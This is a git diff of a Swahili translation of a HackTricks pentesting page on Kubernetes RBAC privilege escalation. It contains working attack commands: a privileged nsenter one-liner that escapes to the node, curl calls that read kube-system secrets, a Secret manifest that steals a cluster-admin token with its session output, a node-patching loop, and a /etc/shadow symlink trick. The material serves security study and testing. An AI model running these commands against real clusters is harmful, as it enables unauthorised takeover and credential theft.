mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-09 19:55:04 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
@@ -12,7 +12,7 @@ Inarejelea sanaa ya kupata **ufikiaji wa principal tofauti** ndani ya klasta **i
|
||||
- Kuwa na uwezo wa **kujifanya** mtumiaji/katika makundi/SAs wengine wenye mamlaka bora ndani ya klasta ya kubernetes au kwa mawingu ya nje
|
||||
- Kuwa na uwezo wa **kuunda/kurekebisha/kutekeleza pods** ambapo unaweza **kupata au kuunganisha SAs** wenye mamlaka bora ndani ya klasta ya kubernetes au kwa mawingu ya nje
|
||||
- Kuwa na uwezo wa **kusoma siri** kwani token za SAs zimehifadhiwa kama siri
|
||||
- Kuwa na uwezo wa **kutoroka hadi kwenye node** kutoka kwenye kontena, ambapo unaweza kuiba siri zote za kontena zinazotembea kwenye node, akreditivu za node, na ruhusa za node ndani ya wingu inayoendesha (ikiwa ipo)
|
||||
- Kuwa na uwezo wa **kutoroka hadi kwenye node** kutoka kwenye kontena, ambapo unaweza kuiba siri zote za kontena zinazotembea kwenye node, akidi za node, na ruhusa za node ndani ya wingu inayoendesha (ikiwa ipo)
|
||||
- Mbinu ya tano ambayo inastahili kutajwa ni uwezo wa **kukimbia port-forward** katika pod, kwani unaweza kuwa na uwezo wa kufikia rasilimali za kuvutia ndani ya pod hiyo.
|
||||
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
@@ -31,11 +31,11 @@ verbs: ["*"]
|
||||
```
|
||||
### Access Any Resource with a specific verb
|
||||
|
||||
Katika RBAC, ruhusa fulani zina hatari kubwa:
|
||||
In RBAC, certain permissions pose significant risks:
|
||||
|
||||
1. **`create`:** Inatoa uwezo wa kuunda rasilimali yoyote ya klasta, ikihatarisha kupanda kwa mamlaka.
|
||||
1. **`create`:** Inaruhusu uwezo wa kuunda rasilimali yoyote ya klasta, ikihatarisha kupanda kwa mamlaka.
|
||||
2. **`list`:** Inaruhusu kuorodhesha rasilimali zote, ikihatarisha kuvuja kwa data nyeti.
|
||||
3. **`get`:** Inaruhusu kufikia siri kutoka kwa akaunti za huduma, ikileta tishio la usalama.
|
||||
3. **`get`:** Inaruhusu kufikia siri kutoka kwa akaunti za huduma, ikihatarisha usalama.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
Mshambuliaji mwenye ruhusa za kuunda pod, anaweza kuunganisha Akaunti ya Huduma yenye mamlaka ndani ya pod na kuiba token ili kujifanya kuwa Akaunti ya Huduma. Kwa ufanisi inainua mamlaka yake.
|
||||
Mshambuliaji mwenye ruhusa za kuunda pod, anaweza kuunganisha Akaunti ya Huduma yenye mamlaka ndani ya pod na kuiba token ili kujifanya kuwa Akaunti ya Huduma. Kwa ufanisi inainua mamlaka kwake.
|
||||
|
||||
Mfano wa pod ambayo itaiba token ya akaunti ya huduma ya `bootstrap-signer` na kuisafirisha kwa mshambuliaji:
|
||||
Mfano wa pod ambayo itaiba token ya akaunti ya huduma `bootstrap-signer` na kuisafirisha kwa mshambuliaji:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -119,11 +119,11 @@ Unda pod na:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Mstari mmoja kutoka [hiki tweet](https://twitter.com/mauilion/status/1129468485480751104) na nyongeza kadhaa:
|
||||
Moja-laini kutoka [hiki tweet](https://twitter.com/mauilion/status/1129468485480751104) na nyongeza kadhaa:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Sasa kwamba unaweza kukimbia hadi kwenye node angalia mbinu za baada ya unyakuzi katika:
|
||||
Sasa kwamba unaweza kukimbia kwenye node angalia mbinu za baada ya unyakuzi katika:
|
||||
|
||||
#### Stealth
|
||||
|
||||
@@ -211,7 +211,7 @@ Huduma ya Kubelet inatoa `/logs/` endpoint ambayo kimsingi ni **kuonyesha mfumo
|
||||
|
||||
Hivyo, mshambuliaji mwenye **ufikiaji wa kuandika katika folda /var/log/** ya kontena anaweza kutumia tabia hii kwa njia 2:
|
||||
|
||||
- Kubadilisha faili ya `0.log` ya kontena yake (ambayo kawaida iko katika `/var/logs/pods/namespace_pod_uid/container/0.log`) kuwa **symlink inayoelekeza kwenye `/etc/shadow`** kwa mfano. Kisha, utaweza kuhamasisha faili la kivuli cha hosts kwa kufanya:
|
||||
- Kubadilisha faili ya `0.log` ya kontena yake (ambayo kawaida iko katika `/var/logs/pods/namespace_pod_uid/container/0.log`) kuwa **symlink inayoelekeza kwenye `/etc/shadow`** kwa mfano. Kisha, utaweza kutoa faili la kivuli cha mwenyeji kwa kufanya:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -295,7 +295,7 @@ name: task-pv-storage-vol
|
||||
```
|
||||
### **Kujifanya kuwa akaunti zenye mamlaka**
|
||||
|
||||
Kwa [**kujifanya kuwa mtumiaji**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) mamlaka, mshambuliaji anaweza kujifanya kuwa akaunti yenye mamlaka.
|
||||
Kwa kutumia [**kujifanya kuwa mtumiaji**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) mamlaka, mshambuliaji anaweza kujifanya kuwa akaunti yenye mamlaka.
|
||||
|
||||
Tumia tu parameter `--as=<username>` katika amri ya `kubectl` kujifanya kuwa mtumiaji, au `--as-group=<group>` kujifanya kuwa kundi:
|
||||
```bash
|
||||
@@ -310,17 +310,80 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Kuorodhesha Siri
|
||||
### Listing Secrets
|
||||
|
||||
Ruhusa ya **kuorodhesha siri inaweza kumwezesha mshambuliaji kusoma siri** kwa kufikia kiunganishi cha REST API:
|
||||
Ruhusa la **kuorodhesha siri linaweza kumwezesha mshambuliaji kusoma siri** kwa kufikia kiunganishi cha API ya REST:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Kusoma siri – kujaribu nguvu za IDs za token
|
||||
### Kuunda na Kusoma Siri
|
||||
|
||||
Wakati mshambuliaji mwenye token yenye ruhusa za kusoma anahitaji jina sahihi la siri ili kuitumia, tofauti na ruhusa pana ya _**kuorodhesha siri**_, bado kuna udhaifu. Akaunti za huduma za default katika mfumo zinaweza kuorodheshwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kiambatisho kisichobadilika kinachofuatiwa na token ya alphanumeric ya herufi tano za nasibu (bila herufi fulani) kulingana na [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Kuna aina maalum ya siri ya Kubernetes ya aina **kubernetes.io/service-account-token** ambayo inahifadhi token za akaunti ya huduma. Ikiwa una ruhusa za kuunda na kusoma siri, na pia unajua jina la akaunti ya huduma, unaweza kuunda siri kama ifuatavyo na kisha kuiba token ya akaunti ya huduma ya mwathirika kutoka kwake:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: stolen-admin-sa-token
|
||||
namespace: default
|
||||
annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Mfano wa unyakuzi:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
Token inazalishwa kutoka kwenye seti ndogo ya herufi 27 (`bcdfghjklmnpqrstvwxz2456789`), badala ya anuwai kamili ya alphanumeric. Kizuizi hiki kinapunguza jumla ya mchanganyiko unaowezekana kuwa 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la kujaribu nguvu ili kubaini token hiyo ndani ya masaa machache, ambayo yanaweza kusababisha kupandishwa vyeo kwa kufikia akaunti za huduma nyeti.
|
||||
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
|
||||
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
|
||||
Resources Non-Resource URLs Resource Names Verbs
|
||||
selfsubjectreviews.authentication.k8s.io [] [] [create]
|
||||
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
|
||||
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
|
||||
secrets [] [] [get create]
|
||||
[/.well-known/openid-configuration/] [] [get]
|
||||
<SNIP>
|
||||
[/version] [] [get]
|
||||
|
||||
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
|
||||
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
|
||||
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
|
||||
secret/stolen-admin-sa-token created
|
||||
|
||||
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
|
||||
{
|
||||
"apiVersion": "v1",
|
||||
"data": {
|
||||
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
|
||||
"namespace": "ZGVmYXVsdA==",
|
||||
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
|
||||
},
|
||||
"kind": "Secret",
|
||||
"metadata": {
|
||||
"annotations": {
|
||||
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
|
||||
"kubernetes.io/service-account.name": "cluster-admin-sa",
|
||||
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
|
||||
},
|
||||
"creationTimestamp": "2025-01-11T13:02:27Z",
|
||||
"name": "stolen-admin-sa-token",
|
||||
"namespace": "default",
|
||||
"resourceVersion": "1019116",
|
||||
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
|
||||
},
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Kumbuka kwamba ikiwa unaruhusiwa kuunda na kusoma siri katika eneo fulani, akaunti ya huduma ya mwathirika pia lazima iwe katika eneo hilo hilo.
|
||||
|
||||
### Kusoma siri – kulazimisha vitambulisho vya tokeni
|
||||
|
||||
Wakati mshambuliaji mwenye tokeni yenye ruhusa za kusoma anahitaji jina sahihi la siri ili kuitumia, tofauti na ruhusa pana ya _**kuorodhesha siri**_, bado kuna udhaifu. Akaunti za huduma za default katika mfumo zinaweza kuorodheshwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kiambatisho kisichobadilika kinachofuatiwa na tokeni ya alphanumeric ya herufi tano za nasibu (bila wahusika fulani) kulingana na [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Tokeni inazalishwa kutoka kwa seti ndogo ya wahusika 27 (`bcdfghjklmnpqrstvwxz2456789`), badala ya anuwai kamili ya alphanumeric. Kizuizi hiki kinapunguza jumla ya mchanganyiko unaowezekana kuwa 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la kulazimisha kwa urahisi ili kubaini tokeni hiyo ndani ya masaa machache, ambayo yanaweza kusababisha kupandishwa vyeo kwa kufikia akaunti za huduma nyeti.
|
||||
|
||||
### Maombi ya Kusaini Cheti
|
||||
|
||||
@@ -359,18 +422,18 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Hivyo, na CSR mpya ya node iliyothibitishwa, unaweza **kuabudu** ruhusa maalum za nodes ili **kuchukua siri** na **kuinua mamlaka**.
|
||||
Hivyo, na CSR mpya ya node iliyothibitishwa, unaweza **kudhulumu** ruhusa maalum za nodes ili **kuiba siri** na **kuinua mamlaka**.
|
||||
|
||||
Katika [**post hii**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) na [**hii moja**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), usanidi wa GKE K8s TLS Bootstrap umewekwa na **kusainiwa kiotomatiki** na unatumika vibaya kuunda ithibati za Node mpya ya K8s na kisha kuabudu hizo ili kuinua mamlaka kwa kuchukua siri.\
|
||||
Ikiwa **una mamlaka zilizotajwa unaweza kufanya jambo lile lile**. Kumbuka kwamba mfano wa kwanza unazidi kosa linalozuia node mpya kufikia siri ndani ya kontena kwa sababu **node inaweza kufikia tu siri za kontena zilizowekwa juu yake.**
|
||||
Katika [**post hii**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) na [**hii moja**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) usanidi wa GKE K8s TLS Bootstrap umewekwa na **kusainiwa kiotomatiki** na unatumika vibaya kuzalisha akreditif za Node mpya ya K8s na kisha kuzitumia kuimarisha mamlaka kwa kuiba siri.\
|
||||
Ikiwa **una mamlaka zilizotajwa unaweza kufanya jambo hilo hilo**. Kumbuka kwamba mfano wa kwanza unazidi kosa linalozuia node mpya kufikia siri ndani ya kontena kwa sababu **node inaweza kufikia tu siri za kontena zilizowekwa juu yake.**
|
||||
|
||||
Njia ya kupita hii ni tu **kuunda ithibati za node kwa jina la node ambapo kontena lenye siri za kuvutia limewekwa** (lakini angalia tu jinsi ya kufanya hivyo katika post ya kwanza):
|
||||
Njia ya kupita hii ni tu **kuunda akreditif za node kwa jina la node ambapo kontena lenye siri za kuvutia limewekwa** (lakini angalia tu jinsi ya kufanya hivyo katika post ya kwanza):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Wajibu wanaoweza kubadilisha **`configmaps`** katika eneo la kube-system kwenye EKS (lazima wawe katika AWS) vikundi wanaweza kupata haki za usimamizi wa klasta kwa kubadilisha configmap ya **aws-auth**.\
|
||||
Wajibu wanaoweza kubadilisha **`configmaps`** katika eneo la kube-system kwenye EKS (lazima wawe ndani ya AWS) vikundi wanaweza kupata haki za usimamizi wa klasta kwa kubadilisha configmap ya **aws-auth**.\
|
||||
Vitenzi vinavyohitajika ni **`update`** na **`patch`**, au **`create`** ikiwa configmap haijaundwa:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -416,13 +479,13 @@ groups:
|
||||
> Hata hivyo, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **haifanyi kazi kutoka akaunti tofauti**. Lakini kwa kweli `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` inafanya kazi ikiwa utaweka ARN ya klasta badala ya jina tu.\
|
||||
> Ili kufanya `kubectl` ifanye kazi, hakikisha tu **unapanga** **kubeconfig ya waathirika** na katika arg za aws exec ongeza `--profile other_account_role` ili kubectl itumie profaili ya akaunti nyingine kupata token na kuwasiliana na AWS.
|
||||
|
||||
### Kuinua katika GKE
|
||||
### Kuongeza Haki katika GKE
|
||||
|
||||
Kuna **njia 2 za kutoa ruhusa za K8s kwa wakuu wa GCP**. Katika hali yoyote mkuu pia anahitaji ruhusa **`container.clusters.get`** ili kuwa na uwezo wa kukusanya akreditifia za kufikia klasta, au utahitaji **kuunda faili yako ya kubectl config** (fuata kiungo kinachofuata).
|
||||
Kuna **njia 2 za kutoa ruhusa za K8s kwa wakuu wa GCP**. Katika hali yoyote mkuu pia anahitaji ruhusa **`container.clusters.get`** ili kuwa na uwezo wa kukusanya akidi za kuingia kwenye klasta, au utahitaji **kuunda faili yako ya kubectl config** (fuata kiungo kinachofuata).
|
||||
|
||||
> [!WARNING]
|
||||
> Wakati unazungumza na kiunganishi cha K8s api, **token ya GCP itatumwa**. Kisha, GCP, kupitia kiunganishi cha K8s api, kwanza it **hakiki kama mkuu** (kwa barua pepe) **ana ufikiaji wowote ndani ya klasta**, kisha itahakiki kama ana **ufikiaji wowote kupitia GCP IAM**.\
|
||||
> Ikiwa **yoyote** kati ya hizo ni **kweli**, atapewa **jibu**. Ikiwa **siyo** makosa **yanayopendekeza kutoa** **ruhusa kupitia GCP IAM** yatatolewa.
|
||||
> Wakati wa kuzungumza na kiunganishi cha K8s api, **token ya uthibitisho ya GCP itatumwa**. Kisha, GCP, kupitia kiunganishi cha K8s api, kwanza itachunguza **kama mkuu** (kwa barua pepe) **ana ufikiaji wowote ndani ya klasta**, kisha itachunguza kama ana **ufikiaji wowote kupitia GCP IAM**.\
|
||||
> Ikiwa **yoyote** kati ya hizo ni **kweli**, atajibiwa. Ikiwa **siyo** makosa **yanayopendekeza kutoa** **ruhusa kupitia GCP IAM** yatatolewa.
|
||||
|
||||
Kisha, njia ya kwanza ni kutumia **GCP IAM**, ruhusa za K8s zina **ruhusa sawa za GCP IAM**, na ikiwa mkuu ana hiyo, ataweza kuitumia.
|
||||
|
||||
@@ -432,23 +495,23 @@ Kisha, njia ya kwanza ni kutumia **GCP IAM**, ruhusa za K8s zina **ruhusa sawa z
|
||||
|
||||
Njia ya pili ni **kutoa ruhusa za K8s ndani ya klasta** kwa kutambua mtumiaji kwa **barua pepe** yake (akaunti za huduma za GCP zimejumuishwa).
|
||||
|
||||
### Unda token za serviceaccounts
|
||||
### Kuunda token za serviceaccounts
|
||||
|
||||
Wakuu wanaoweza **kuunda TokenRequests** (`serviceaccounts/token`) Wakati wakizungumza na kiunganishi cha K8s api SAs (habari kutoka [**hapa**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Wakuu wanaoweza **kuunda TokenRequests** (`serviceaccounts/token`) Wakati wa kuzungumza na kiunganishi cha K8s api SAs (habari kutoka [**hapa**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Wakuu wanaoweza **`update`** au **`patch`** **`pods/ephemeralcontainers`** wanaweza kupata **utendaji wa msimbo kwenye pods nyingine**, na kwa uwezekano **kuvunja** kwenye nodi zao kwa kuongeza kontena ya muda mfupi yenye securityContext yenye mamlaka.
|
||||
Wakuu wanaoweza **`update`** au **`patch`** **`pods/ephemeralcontainers`** wanaweza kupata **utendaji wa msimbo kwenye pods nyingine**, na kwa uwezekano **kuvunja** kwenye node yao kwa kuongeza container ya muda mfupi yenye securityContext yenye mamlaka.
|
||||
|
||||
### ValidatingWebhookConfigurations au MutatingWebhookConfigurations
|
||||
|
||||
Wakuu wenye mojawapo ya vitenzi `create`, `update` au `patch` juu ya `validatingwebhookconfigurations` au `mutatingwebhookconfigurations` wanaweza kuwa na uwezo wa **kuunda mojawapo ya webhookconfigurations hizo** ili waweze **kuinua mamlaka**.
|
||||
Wakuu wenye mojawapo ya vitenzi `create`, `update` au `patch` juu ya `validatingwebhookconfigurations` au `mutatingwebhookconfigurations` wanaweza kuwa na uwezo wa **kuunda mojawapo ya webhookconfigurations hizo** ili waweze **kuongeza mamlaka**.
|
||||
|
||||
Kwa mfano wa [`mutatingwebhookconfigurations` angalia sehemu hii ya chapisho hili](./#malicious-admission-controller).
|
||||
Kwa mfano wa [`mutatingwebhookconfigurations` angalia sehemu hii ya chapisho hili](#malicious-admission-controller).
|
||||
|
||||
### Kuinua
|
||||
### Pandisha
|
||||
|
||||
Kama unavyoweza kusoma katika sehemu inayofuata: [**Kuzuia Kuinua Mamlaka ya Kijengwa Ndani**](./#built-in-privileged-escalation-prevention), mkuu cannot update wala kuunda roles au clusterroles bila kuwa na ruhusa hizo mpya. Isipokuwa ikiwa ana **kitenzi `escalate`** juu ya **`roles`** au **`clusterroles`.**\
|
||||
Kama unavyoweza kusoma katika sehemu inayofuata: [**Kuzuia Pandisha Mamlaka ya Kijengwa Ndani**](#built-in-privileged-escalation-prevention), mkuu cannot update wala kuunda roles au clusterroles bila kuwa na ruhusa hizo mpya. Isipokuwa ikiwa ana **kitenzi `escalate`** juu ya **`roles`** au **`clusterroles`.**\
|
||||
Kisha anaweza kuupdate/kuunda roles mpya, clusterroles zenye ruhusa bora kuliko zile alizonazo.
|
||||
|
||||
### Nodes proxy
|
||||
@@ -459,11 +522,11 @@ Wakuu wenye ufikiaji wa **`nodes/proxy`** subresource wanaweza **kutekeleza msim
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
Una mfano wa jinsi ya kupata [**RCE ukizungumza na Kubelet API hapa**](../pentesting-kubernetes-services/#kubelet-rce).
|
||||
Una mfano wa jinsi ya kupata [**RCE kwa kuzungumza na Kubelet API hapa**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
|
||||
### Futa pods + nodi zisizoweza kuwekewa
|
||||
### Futa pods + nodes zisizoweza kuwekewa ratiba
|
||||
|
||||
Wakuu wanaoweza **kufuta pods** (`delete` verb juu ya `pods` resource), au **kuhamasisha pods** (`create` verb juu ya `pods/eviction` resource), au **kubadilisha hali ya pod** (ufikiaji wa `pods/status`) na wanaweza **kufanya nodi nyingine zisizoweza kuwekewa** (ufikiaji wa `nodes/status`) au **kufuta nodi** (`delete` verb juu ya `nodes` resource) na ana udhibiti juu ya pod, wanaweza **kuiba pods kutoka nodi nyingine** ili ziwe **zinatekelezwa** katika **nodi iliyoathirika** na mshambuliaji anaweza **kuiba token** kutoka kwa pods hizo.
|
||||
Wakuu wanaoweza **kufuta pods** (`delete` verb juu ya `pods` resource), au **kuhamasisha pods** (`create` verb juu ya `pods/eviction` resource), au **kubadilisha hali ya pod** (ufikiaji wa `pods/status`) na wanaweza **kufanya nodes nyingine zisizoweza kuwekewa ratiba** (ufikiaji wa `nodes/status`) au **kufuta nodes** (`delete` verb juu ya `nodes` resource) na ana udhibiti juu ya pod, wanaweza **kuiba pods kutoka nodes nyingine** ili ziwe **zinatekelezwa** katika **node iliyoathirika** na mshambuliaji anaweza **kuiba token** kutoka kwa pods hizo.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -474,37 +537,37 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Hali za Huduma (CVE-2020-8554)
|
||||
### Hali za huduma (CVE-2020-8554)
|
||||
|
||||
Wajibu wanaoweza **kubadilisha** **`services/status`** wanaweza kuweka uwanja wa `status.loadBalancer.ingress.ip` ili kutumia **CVE-2020-8554 isiyorekebishwa** na kuanzisha **MiTM attacks dhidi ya kluster**. Mipango mingi ya kuzuia CVE-2020-8554 inazuia tu huduma za ExternalIP (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Wajibu wanaoweza **kubadilisha** **`services/status`** wanaweza kuweka uwanja wa `status.loadBalancer.ingress.ip` ili kutumia **CVE-2020-8554 isiyorekebishwa** na kuanzisha **shambulio la MiTM dhidi ya kluster**. Mitihani mingi ya CVE-2020-8554 inazuia tu huduma za ExternalIP (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Hali za Nodes na Pods
|
||||
|
||||
Wajibu wenye ruhusa za **`update`** au **`patch`** juu ya `nodes/status` au `pods/status`, wanaweza kubadilisha lebo ili kuathiri vikwazo vya kupanga vilivyowekwa.
|
||||
|
||||
## Kuzuia Kupanua Mamlaka kwa Njia ya Kijadi
|
||||
## Kinga ya Kukuza Privilege iliyojengwa ndani
|
||||
|
||||
Kubernetes ina [mekanismu iliyojengwa ndani](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) ya kuzuia kupanua mamlaka.
|
||||
Kubernetes ina [mekanismu iliyojengwa ndani](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) ya kuzuia kukuza privilege.
|
||||
|
||||
Mfumo huu unahakikisha kwamba **watumiaji hawawezi kuongeza mamlaka yao kwa kubadilisha majukumu au uhusiano wa majukumu**. Utekelezaji wa sheria hii unafanyika katika ngazi ya API, ukitoa kinga hata wakati mthibitishaji wa RBAC haupo.
|
||||
Mfumo huu unahakikisha kwamba **watumiaji hawawezi kuongeza privileges zao kwa kubadilisha majukumu au uhusiano wa majukumu**. Utekelezaji wa sheria hii unafanyika katika ngazi ya API, ukitoa kinga hata wakati mthibitishaji wa RBAC haupo.
|
||||
|
||||
Sheria inasema kwamba **mtumiaji anaweza tu kuunda au kubadilisha jukumu ikiwa ana ruhusa zote zinazohitajika na jukumu hilo**. Zaidi ya hayo, upeo wa ruhusa za mtumiaji zilizopo lazima ulingane na ule wa jukumu wanajaribu kuunda au kubadilisha: ama kwa kiwango cha kluster kwa ClusterRoles au kufungwa kwenye namespace moja (au kwa kiwango cha kluster) kwa Roles.
|
||||
Sheria inasema kwamba **mtumiaji anaweza tu kuunda au kuboresha jukumu ikiwa ana ruhusa zote zinazohitajika na jukumu hilo**. Aidha, upeo wa ruhusa za mtumiaji zilizopo lazima ulingane na ule wa jukumu wanalojaribu kuunda au kubadilisha: ama kwa kiwango cha kluster kwa ClusterRoles au kufungwa kwenye namespace sawa (au kwa kiwango cha kluster) kwa Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Kuna ubaguzi wa sheria iliyotangulia. Ikiwa wajibu ana **kitenzi `escalate`** juu ya **`roles`** au **`clusterroles`** anaweza kuongeza mamlaka ya majukumu na clusterroles hata bila kuwa na ruhusa hizo mwenyewe.
|
||||
> Kuna ubaguzi wa sheria ya awali. Ikiwa wajibu ana **kitenzi `escalate`** juu ya **`roles`** au **`clusterroles`** anaweza kuongeza privileges za majukumu na clusterroles hata bila kuwa na ruhusa hizo mwenyewe.
|
||||
|
||||
### **Pata & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Kwa kweli, mbinu hii ilifanya kazi hapo awali, lakini kulingana na majaribio yangu haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu iliyopita. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe mwenyewe au SA tofauti baadhi ya mamlaka ikiwa tayari huna.**
|
||||
> **Kwa kweli, mbinu hii ilifanya kazi hapo awali, lakini kulingana na majaribio yangu haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu ya awali. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe mwenyewe au SA tofauti baadhi ya privileges ikiwa tayari huna.**
|
||||
|
||||
Ruhusa ya kuunda Rolebindings inamruhusu mtumiaji **kuunganisha majukumu na akaunti ya huduma**. Ruhusa hii inaweza kupelekea kupanua mamlaka kwa sababu inaruhusu mtumiaji kuunganisha mamlaka ya usimamizi kwa akaunti ya huduma iliyovunjwa.
|
||||
Ruhusa ya kuunda Rolebindings inamruhusu mtumiaji **kuunganisha majukumu na akaunti ya huduma**. Ruhusa hii inaweza kupelekea kukuza privilege kwa sababu inaruhusu mtumiaji kuunganisha ruhusa za admin kwa akaunti ya huduma iliyovunjwa.
|
||||
|
||||
## Mashambulizi Mengine
|
||||
|
||||
### Programu ya Proxy ya Sidecar
|
||||
### Programu ya proxy ya Sidecar
|
||||
|
||||
Kwa kawaida hakuna usimbuaji katika mawasiliano kati ya pods. Uthibitishaji wa pamoja, wa pande zote, kutoka pod hadi pod.
|
||||
Kwa kawaida hakuna usimbuaji katika mawasiliano kati ya pods. Uthibitishaji wa pamoja, wa pande mbili, kutoka pod hadi pod.
|
||||
|
||||
#### Unda programu ya proxy ya sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
|
||||
@@ -512,7 +575,7 @@ Unda yako .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
Hariri .yaml yako na ongeza mistari isiyo na maoni:
|
||||
Hariri faili yako ya .yaml na ongeza mistari isiyo na maoni:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
